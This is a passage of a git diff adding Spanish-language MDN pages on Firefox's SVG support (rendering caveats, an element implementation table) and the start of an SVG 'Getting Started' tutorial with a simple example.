+<p>Si usted está familiarizado con CSS probablemente sabrá que puede especificar fuentes alternativas para las propiedades 'font' por si los glifos de una fuente concreta no estén disponibles. El actual motor de renderizado de SVG sólo tratará de usar la primera fuente especificada, y si esta no existe, usará una fuente del sistema. Las fuentes secundarias nunca son usadas, por ejemplo, font-family="Arial,LucidaSansUnicode" no generará una fuente LucidaSansUnicode, aun en el caso de que Arial no esté disponible.
+</p>
+<h2 id="Impresi.C3.B3n" name="Impresi.C3.B3n"> Impresión </h2>
+<p>Por desgracia, actualmente en la impresión no se aprovechan las propiedades vectoriales de SVG para generar una salida óptima, por contra, se renderiza según la resolución de la pantalla y luego la salida se hace como imagen.
+</p><p>Al imprimir en MS-Windows, el tamaño de la fuente será mucho más grande que el especificado por SVG.
+</p>
+<h2 id="Opacidad_de_grupo" name="Opacidad_de_grupo"> Opacidad de grupo </h2>
+<p>La propiedad de opacidad de grupo "opacity" permite que los objetos contenedores SVG puedan ser tratados como capas semi-transparentes, y sea separado de propiedades "fill-opacity" y "stroke-opacity" La implementacion actual de "opacity" consume bastantes recursos, debería ser usada con mesura. "fill-opacity" y "stroke-opacity" son mucho más rápidas, y dependiendo de su contenido pueden aportar los mismos resultados.
+</p><p>Actualmente la opacidad de grupo está implementado solo para &lt;g&gt; pero no para &lt;text&gt; o &lt;svg&gt;
+</p>
+<h2 id="Stroking_fonts" name="Stroking_fonts"> Stroking fonts </h2>
+<p>On the MS-Windows and OS-X platforms, the stroke of the text will not exactly match the fill. The error is typically quite small, and can be covered by using a slightly thicker stroke. An example of this difference:
+</p><p><br>
+<img alt="Imagen:Text-fill-stroke.png">
+</p>
+<h2 id=".3Cimage.3E" name=".3Cimage.3E"> &lt;image&gt; </h2>
+<p>&lt;image&gt; no soporta imágenes SVG en Firefox 1.5, sólo los formatos de imagen rasterizados que Firefox maneja.
+</p><p>Todas las instancias de &lt;image&gt; tienen una copia separada de la imagen que está siendo usada, lo cual es algo a tener en cuenta si tu contenido está usando múltiples copias de una imagen para un icono o algo parecido. Desafortunadamente, &lt;use&gt; en contenido &lt;image&gt; cuenta como otra copia en este caso.
+</p><p>De manera adicional, un uso intensivo de imágenes rasterizadas en SVG puede degradar de sobremanera el rendimiento en Firefox 1.5.
+</p>
+<h2 id="Eventos" name="Eventos"> Eventos </h2>
+<p>Soportamos los atributos de SVG para eventos, a excepción de "onfocusin", "onfocusout", y "onactivate".
+</p><p>Nuestro manejo del evento "onload" es actualmente no-estándar, pero creemos que aún así no impide su uso correcto. Mientras que el código especificado por el atributo "onload" será llamado para cada elemento, un evento SVGLoad es llamado únicamente para el elemento &lt;svg&gt; raíz. Algunos métodos DOM devolverán basura o error si son llamados antes de que el elemento correspondiente haya sido renderizado, algo que tendrás que tener en cuenta al escribir código "onload". Dichos métodos son getBBox, getScreenCTM, etc.
+</p><p>No damos soporte a los eventos para el teclado específicos de Adobe ("onkeydown", "onkeyup").
+</p>
+<h2 id="Interoperabilidad" name="Interoperabilidad"> Interoperabilidad </h2>
+<p>Si está trabajando con contenidos SVG actuales, puede encontrar problemas al cargarlos en Firefox. La mayoría de los problemas suelen ser triviales, y son el resultado de una implementación más estricta en Firefox. En <a class="external" href="http://jwatt.org/svg/authoring/">SVG Authoring Guidelines</a> Jonathan Watt's explica los problemas comunes.
+</p>
+<h2 id="Situaciones_del_uso" name="Situaciones_del_uso"> Situaciones del uso </h2>
+<p>Firefox 1.5 maneja SVG como un documento entero, o como referencia para los elementos embed, object, e iframe. Actualmente no puede ser usado como fuente del elemento img, ni para las propiedades CSS relativas a las imágenes.
+</p>
+<h2 id="Animaci.C3.B3n" name="Animaci.C3.B3n"> Animación </h2>
+<p>Firefox 1.5 no implementa la animación declarativa, pero soporta scripting dinámico. Doug Shepers lo ha usado para crear <a class="external" href="http://www.vectoreal.com/smilscript/">SmilScript</a>, una pequeña biblioteca de Javascript que implementa parte de la animación declarativa de SVG.
+</p>
+<h2 id="Elementos.2C_estado_de_la_implementaci.C3.B3n" name="Elementos.2C_estado_de_la_implementaci.C3.B3n"> Elementos, estado de la implementación </h2> <table style="margin: 5px;"> <tbody><tr> <th><b>Elemento</b></th> <th><b>Notas</b></th> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#basic-structure-mod">Módulo Estructura</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SVGElement">svg</a></td> <td> <ul> <li>Implementado. </li><li><code>currentScale</code> and <code>currentTranslate</code> DOM attributes are implemented, but there is no pan and zoom user interface. </li><li>SVGSVGElement <ul> <li> Atributos no implementados: contentScriptType, contentStyleType, viewport, useCurrentView, currentView </li> <li> Bindings no implementados: pauseAnimations, unpauseAnimations, animationsPaused, getCurrentTime, setCurrentTime, getIntersectionList, getEnclosureList, checkIntersection, checkEnclosure, deselectAll, createSVGAngle, getElementById </li> </ul> </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#GElement">g</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#DefsElement">defs</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#DescElement">desc</a></td> <td> <ul> <li>Implementado. </li><li>Only stored in the DOM, no user interface.&lt;/td&gt; </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#TitleElement">title</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/metadata.html#MetadataElement">metadata</a></td> <td> <ul> <li>Implementado. </li><li>Only stored in the DOM, no user interface.&lt;/td&gt; </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SymbolElement">symbol</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#UseElement">use</a></td> <td> <ul> <li>Implementado. </li><li>Only works for internal document references (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=269482">bug 269482</a>). </li><li>Doesn't completely follow &lt;svg:use&gt; cascading rules (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=265894">bug 265894</a>). </li><li>Doesn't deliver events to a SVGElementInstance tree (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=265895">bug 265895</a>). </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#conditional-mod">Conditional Processing Module</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#SwitchElement">switch</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#image-mod">Image Module</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/struct.html#ImageElement">image</a></td> <td> <ul> <li>Implementado. </li><li>Only works for raster images (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=272288">bug 272288</a>). </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/styling.html#style-mod">Style Module</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/styling.html#StyleElement">style</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#shape-mod">Shape Module</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/paths.html#PathElement">path</a></td> <td> <ul> <li>Implementado.</li> <li>SVGPathElement Interfaz <ul> <li> Atributos no implementados: pathLength, normalizedPathSegList, animatedPathSegList, animatedNormalizedPathSegList </li> <li> Bindings no implementados: getTotalLength, getPointAtLength, getPathSegAtLength </li> </ul> </li> <li>SVGPathSegList Interface <ul> <li>Bindings no implementados: replaceItem()</li> </ul> </li> </ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#RectElement">rect</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#CircleElement">circle</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#LineElement">line</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#EllipseElement">ellipse</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#PolylineElement">polyline</a></td> <td> <ul> <li>SImplementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/shapes.html#PolygonElement">polygon</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/text.html#text-mod">Módulo Texto</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TextElement">text</a></td> <td> <ul> <li>Implementado. </li><li>SVGTextElement <ul> <li> Atributos no implementados: rotate, textLength, lengthAdjust </li> <li> Bindings no implementados: getNumberOfChars, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString </li> <li> Bindings not functional at <code>onload</code> time: getExtentOfChar </li> </ul> </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TSpanElement">tspan</a></td> <td> <ul> <li>Implementado. </li><li>SVGTSpanElement <ul> <li> Atributos no implementados: rotate, textLength, lengthAdjust </li> <li> bindings no implementados: getNumberOfChars, getComputedTextLength, getSubStringLength, getStartPositionOfChar, getEndPositionOfChar, getExtentOfChar, getRotationOfChar, getCharNumAtPosition, selectSubString </li> </ul> </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TRefElement">tref</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#TextPathElement">textPath</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphElement">altGlyph</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphDefElement">altGlyphDef</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#AltGlyphItemElement">altGlyphItem</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/text.html#GlyphRefElement">glyphRef</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#marker-mod">Módulo Marker</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/painting.html#MarkerElement">marker</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/color.html#color-profile-mod">Módulo Color-Profile</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/color.html#ColorProfileElement">color-profile</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#gradient-mod">Módulo Gradientes</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#LinearGradientElement">linearGradient</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#RadialGradientElement">radialGradient</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#StopElement">stop</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#pattern-mod">Módulo Pattern</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/pservers.html#PatternElement">pattern</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#clip-mod">Módulo Clip</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#ClipPathElement">clipPath</a></td> <td> <ul> <li>Implementado. </li><li>Won't handle clip paths with have elements with different clip-rule properties or that reference other clipPaths. (<a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=267224">bug 267224</a>). </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#mask-mod">Módulo Mask</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/masking.html#MaskElement">mask</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#filter-mod">Módulo Filtro</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#FilterElement">filter</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feBlendElement">feBlend</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feColorMatrixElement">feColorMatrix</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feComponentTransferElement">feComponentTransfer</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feCompositeElement">feComposite</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feConvolveMatrixElement">feConvolveMatrix</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDiffuseLightingElement">feDiffuseLighting</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDisplacementMapElement">feDisplacementMap</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFloodElement">feFlood</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feGaussianBlurElement">feGaussianBlur</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feImageElement">feImage</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMergeElement">feMerge</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMergeNodeElement">feMergeNode</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feMorphologyElement">feMorphology</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feOffsetElement">feOffset</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feSpecularLightingElement">feSpecularLighting</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feTileElement">feTile</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feTurbulenceElement">feTurbulence</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feDistantLightElement">feDistantLight</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#fePointLightElement">fePointLight</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feSpotLightElement">feSpotLight</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncRElement">feFuncR</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncGElement">feFuncG</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncBElement">feFuncB</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/filters.html#feFuncAElement">feFuncA</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/interact.html#cursor-mod">Módulo Cursor</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/interact.html#CursorElement">cursor</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#hyperlinking-mod">Módulo hiperenlace</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#AElement">a</a></td> <td> <ul> <li>Implementado en un binding XBL - object no es del tipo SVGAElement.</li> <li>Solo están implementados los atributos <code>xlink:href</code> y <code>xlink:show</code> </li> <li>Sobre el atributo <code>target</code> vea <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=300868">bug 300868</a></li> </ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#view-mod">Módulo visión</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/linking.html#ViewElement">view</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/script.html#scripting-mod">Módulo Script</a></th> </tr> <tr style="color: black; background-color: lightgreen;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/script.html#ScriptElement">script</a></td> <td> <ul> <li>Implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#animation-mod">Módulo Animación</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateElement">animate</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#SetElement">set</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateMotionElement">animateMotion</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateTransformElement">animateTransform</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#AnimateColorElement">animateColor</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/animate.html#mpathElement">mpath</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#font-mod">Módulo Fuentes</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceElement">font</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#GlyphElement">glyph</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#MissingGlyphElement">missing-glyph</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#HKernElement">hkern</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#VKernElement">vkern</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceSrcElement">font-face-src</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-uri</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-format</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#FontFaceNameElement">font-face-name</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/fonts.html#DefinitionSrcElement">definition-src</a></td> <td> <ul> <li>No implementado. </li></ul> </td> </tr> <tr> <th colspan="2"><a class="external" href="http://www.w3.org/TR/SVG11/extend.html#extensibility-mod">Módulo Extensibilidad</a></th> </tr> <tr style="color: black; background-color: salmon;"> <td><a class="external" href="http://www.w3.org/TR/SVG11/extend.html#ForeignObjectElement">foreignObject</a></td> <td> <ul> <li>Implementado, but not built. </li></ul> </td> </tr> </tbody></table>
+{{ languages( { "en": "en/SVG_in_Firefox", "fr": "fr/SVG_dans_Firefox", "ja": "ja/SVG_in_Firefox", "pl": "pl/SVG_w_Firefoksie" } ) }}
diff --git a/files/es/web/svg/tutorial/getting_started/index.html b/files/es/web/svg/tutorial/getting_started/index.html
new file mode 100644
index 0000000000..c4a332ed02
--- /dev/null
+++ b/files/es/web/svg/tutorial/getting_started/index.html
@@ -0,0 +1,96 @@
+---
+title: Getting Started
+slug: Web/SVG/Tutorial/Getting_Started
+translation_of: Web/SVG/Tutorial/Getting_Started
+---
+<p>{{ PreviousNext("SVG/Tutorial/Introduction", "SVG/Tutorial/Positions") }}</p>
+
+<h3 id="A_Simple_Example" name="A_Simple_Example">Un Ejemplo Simple</h3>
+
+<p>Permitanos introducirlo con un sencillo ejemplo. Mire el siguiente codigo :</p>
+
+<pre class="brush: xml">&lt;svg version="1.1"
+     baseProfile="full"
+     width="300" height="200"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+  &lt;rect width="100%" height="100%" fill="red" /&gt;
+
+  &lt;circle cx="150" cy="100" r="80" fill="green" /&gt;
+
+  &lt;text x="150" y="125" font-size="60" text-anchor="middle" fill="white"&gt;SVG&lt;/text&gt;
+
+&lt;/svg&gt;
+</pre>
+
+<p>Copie el código y guárdelo como demo1.svg. Luego ábralo en Firefox. Lo verá como se ve en la siguiente figura. (usuarios Firefox : click <a class="external" href="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml" title="http://developer.mozilla.org/@api/deki/files/4571/=svgdemo1.xml">aqui</a>)</p>
+
+<p><img alt="svgdemo1.png" class="default internal" src="/@api/deki/files/4928/=svgdemo1.png"></p>
+
+<p>El proceso de renderizado incluye lo siguiente :</p>
+
+<ol>
+ <li>Comenzamos con el elemento raiz del <code>svg</code>:
+
+  <ul>
+   <li>La declaracion de tipo de documento (doctype) usual en  (X)HTML debería dejarse de lado debido a que la  validación DTD based SVG conduce a mas problemas que soluciones.</li>
+   <li>En cambio,  los atributos <code>version</code> y <code>baseProfile </code>deberian ser usados siempre para identificar la version de SVG para otro tipo de validaciones.</li>
+   <li>Debido a SVG es una especie de dialecto de XML, SVG debe unir siempre los namespaces correctamente (en el atributo xmlns). Para mayor información, vea  <a href="/en/docs/Web/SVG/Namespaces_Crash_Course" title="en/SVG/Namespaces_Crash_Course">Namespaces Crash Course</a>.</li>
+  </ul>
+ </li>
+ <li>El fondo esta puesto en rojo dibujando un rectangulo <a href="/en/SVG/Element/rect" title="en/SVG/Element/rect"><code>&lt;rect/&gt;</code></a> que cubre el area de la imagen.</li>
+ <li>Un circulo verde <a href="/en/SVG/Element/circle" title="en/SVG/Element/circle"><code>&lt;circle/&gt;</code></a> con un radio de 80px y se dibuja en el centro del rectangulo rojo(offset 30+120px inward, and 50+50px upward).</li>
+ <li>El texto "SVG" esta dibujado. El interior de cada letra esta relleno con blanco.
+  <div id="gt-src-tools">
+  <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">El texto</span> <span class="hps">se coloca</span> <span class="hps">mediante el establecimiento de</span> <span class="hps">un ancla</span> <span class="hps">en</span> <span class="hps">donde queremos que</span> <span class="hps">el punto medio</span> <span class="hps">sea</span><span>:</span></span> en este caso, el punto medio debe corresponder al centro del circulo verde. <span id="result_box" lang="es"><span class="hps">Los ajustes finos</span> <span class="hps">se pueden hacer</span> <span class="hps">con el</span> <span class="hps">tamaño de la fuente</span> <span class="hps">y la posición</span> <span class="hps">vertical para</span> <span class="hps">garantizar</span> <span class="hps">que el resultado final sea</span> <span class="hps">estéticamente agradable.</span></span></div>
+  </div>
+ </li>
+</ol>
+
+<h3 id="Basic_properties_of_SVG_files">Basic properties of SVG files</h3>
+
+<ul>
+ <li>The first important thing to notice is the order of rendering of elements. The globally valid rule for SVG files is, that <em>later</em> elements are rendered <em>atop previous</em> elements. The further down an element is the more will be visible.</li>
+ <li>SVG files on the web can be displayed directly in the browser or embedded in HTML files via several methods:
+  <ul>
+   <li>If the HTML is XHTML and is delivered as type <code>application/xhtml+xml</code>, the SVG can be directly embedded in the XML source.</li>
+   <li>If the HTML is HTML5, and the browser is a conforming HTML5 browser, the SVG can be directly embedded, too. However, there may be syntax changes necessary to conform to the HTML5 specification</li>
+   <li>The SVG file can be referenced with an <code>object</code> element:
+    <pre>        &lt;object data="image.svg" type="image/svg+xml" /&gt;</pre>
+   </li>
+   <li>Likewise an <code>iframe</code> element can be used:
+    <pre>        &lt;iframe src="image.svg"&gt;&lt;/iframe&gt;</pre>
+   </li>
+   <li>An <code>img</code> element can be used theoretically, too. However this technique doesn't work in Firefox before 4.0.</li>
+   <li>Finally SVG can be created dynamically with JavaScript and injected into the HTML DOM. This has the advantage, that replacement technologies for browsers, that can't process SVG, can be implemented.</li>
+  </ul>
+  See <a href="/en/SVG_In_HTML_Introduction" title="en/svg in html introduction">this dedicated article</a> for an in-depth dealing with the topic.</li>
